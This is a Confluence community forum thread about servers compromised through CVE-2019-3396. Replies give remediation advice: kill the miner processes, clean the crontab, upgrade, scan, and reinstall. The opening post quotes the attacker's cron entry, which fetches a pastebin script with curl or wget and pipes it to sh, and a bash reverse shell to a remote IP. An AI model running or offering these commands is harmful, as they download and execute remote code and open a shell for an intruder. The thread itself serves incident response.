WARNING - Confluence server hacked...
Asked by Kevin Rodgers:

I'm running confluence on two different systems, both were hacked. The hacker created a crontab file named /var/spool/cron/crontabs/confluence.

# DO NOT EDIT THIS FILE - edit the master and reinstall.  
# (- installed on Wed Apr 10 07:22:48 2019)  
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)  
\*/10 \* \* \* \* (curl -fsSL [https://pastebin.com/raw/v5XC0BJh\|\|wget](https://pastebin.com/raw/v5XC0BJh||wget) -q -O- [https://pastebin.com/raw/v5XC0BJh)\|sh](https://pastebin.com/raw/v5XC0BJh)|sh)

The cron job appears to open a bash session to a remote location.

bash -i \>\& /dev/tcp/45.76.191.111/2012 0\>\&

Is there a security fix?


Answers:
author: Craig Castle-Mead
body: Hi Kevin,

What version(s) of Confluence are you running on these systems?

CCM

comments: author: Kevin Rodgers
body: 6.10.1


author: Craig Castle-Mead
body: There was a security alert put out recently (<https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html>) which includes 6.10.1 as one of the impacted versions.

As a first step, action the "Mitigation" items on the above page and then plan your upgrade ASAP.

CCM


author: mah0899
body: I was able to stop it from reinserting the cronjob using root to

```
rm /var/spool/cron/crontabs/confluence && touch /var/spool/cron/crontabs/confluence
```


author: Frank Wong
body: Does anyone know what does the kerberods malware do? I haven't been able to find information about it.

I run Confluence with an unprivileged user which is not a sudoer either. So I'm not sure to what extent is the damage. As the user that runs Confluence, definitely has read/write permissions on the filesystem where the data is stored, although hard to say it would have access to the external database.

comments: author: Adam Gamradt
body: <https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang>


author: Frank Wong
body: Thanks Adam!


author: Diego
body: Hello there! Just so that we have a full set of information about this situation, here goes:

Based on your version and symptoms, it sounds like your instance might be affected by an opportunistic attack against the CVE-2019-3396 Widget Connector vulnerability from March 20th ([see Confluence Security Advisory - 2019-03-20](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html)). We've seen an infection going around that injects malware and the bitcoin miner it tries to run uses all the CPU available on the box. Initially the kerberods malware was being deployed as the payload, but other attacks might be trying to inject different payloads.

I'd recommend tackling things in this order:

1. Kill malicious processes
2. Clean up your crontab
3. Upgrade Confluence
4. Use a malware scanner to find remaining malware traces

**Malicious processes**

The **top** command will help you find processes (probably running under the confluence user account) that are consuming a large amount of CPU. If Confluence is currently stopped, you can probably plan on killing any processes running as the confluence user. note the process ID (pid) from the **top** output and then kill the process using **kill -9** followed by the pid. Example:

```
sudo kill -9 12395
```

**Clean up your crontab**

Since most malware adds a cronjob that relaunches the malware every few minutes, you'll also need to [check the crontab file](https://help.ubuntu.com/community/CronHowto) and remove any suspicious-looking entries. For Ubuntu, this is stored in the /var/spool/cron/crontabs/ directory. Normally you should use the crontab command to edit the crontab, but for cleanup purposes we'll be inspecting the file for any pre-existing entries.

Using vim (or whichever text editor you're comfortable with), you'll open the file and remove suspicious-looking jobs.

```
sudo vim /var/spool/cron/crontabs/confluence
```

Confluence comes up on system startup through the SysV/systemd daemons, so we would expect the confluence user's crontab to **not exist** under normal circumstances. It's most likely the case that any entries in this file are malicious, but make sure you check them before deleting them entirely.

**Upgrade Confluence**

Once your CPU is under control and new malicious process aren't spawning, you need to upgrade Confluence to a version that isn't affected by the vulnerability. I'd recommend looking at one of these versions (latest releases as of this post):

* 6.13.4 (6.13 is an [Enterprise release](https://confluence.atlassian.com/enterprise/atlassian-enterprise-releases-948227420.html))
* 6.14.3
* 6.15.2

**Use a malware scanner**

Finally, you need to clean up any remaining traces of malware on your system. The [LSD malware cleanup tool](https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/README.md) will be useful for removing the Kerberods malware. Other malware payloads might need different cleanup tools depending on which attack and payload were used. A good starting place for detecting other types of infections [are the scanners linked here](https://www.tecmint.com/scan-linux-for-malware-and-rootkits/). Once a particular infection is identified, googling for "____ removal tool" is a good place to start if the scanner was unable to remove the malware automatically.


author: mah0899
body: I Upgraded confluence after infection, so Infection remained.

My Confluence cronjob pointed to this one: <https://pastebin.com/raw/Zk7Jv9j2>  

I used evey command to see if anything is still running, so important points:

* cat file /tmp/.XIMunix - It contains the PID of tha mein process (called scsi_eh_1 in my case)
* rm /tmp/.XIMunix (I also deleted /tmp/.XIMunix)
* Search everywhere for kerberods and delete it.

Currently, it seems a no activity from that piece of junk is left. As everything was running as confluence user, you can verify by ps'ing for that user.

What maybe helped me was, that I deactivated password access for the root user.

comments: author: Kimberly Deal _Columbus ACE_
body: \*deactivated password access for the root user

Absolutely do this! The best way is to only allow su to root, and limit programs with root access.


author: Kirill Anufriev
body: Have the same issue with confluence 6.12.2

My symptoms: confluence stop working and every time i start\|restart it killed by system(?)

Console logs - <https://pastebin.com/2kAt8DU8>

[@Kevin Rodgers](https://community.atlassian.com/t5/user/viewprofilepage/user-id/1659723) thanks!


author: Gonchik Tsymzhitov
body: [@Kevin Rodgers](/t5/user/viewprofilepage/user-id/1659723)

Better way also, reinstall OS as well, and review exist your infra, also, change passwords.

<https://www.virustotal.com/cs/user/bartblaze/>


Tags: atl-confsec

confluence-server

server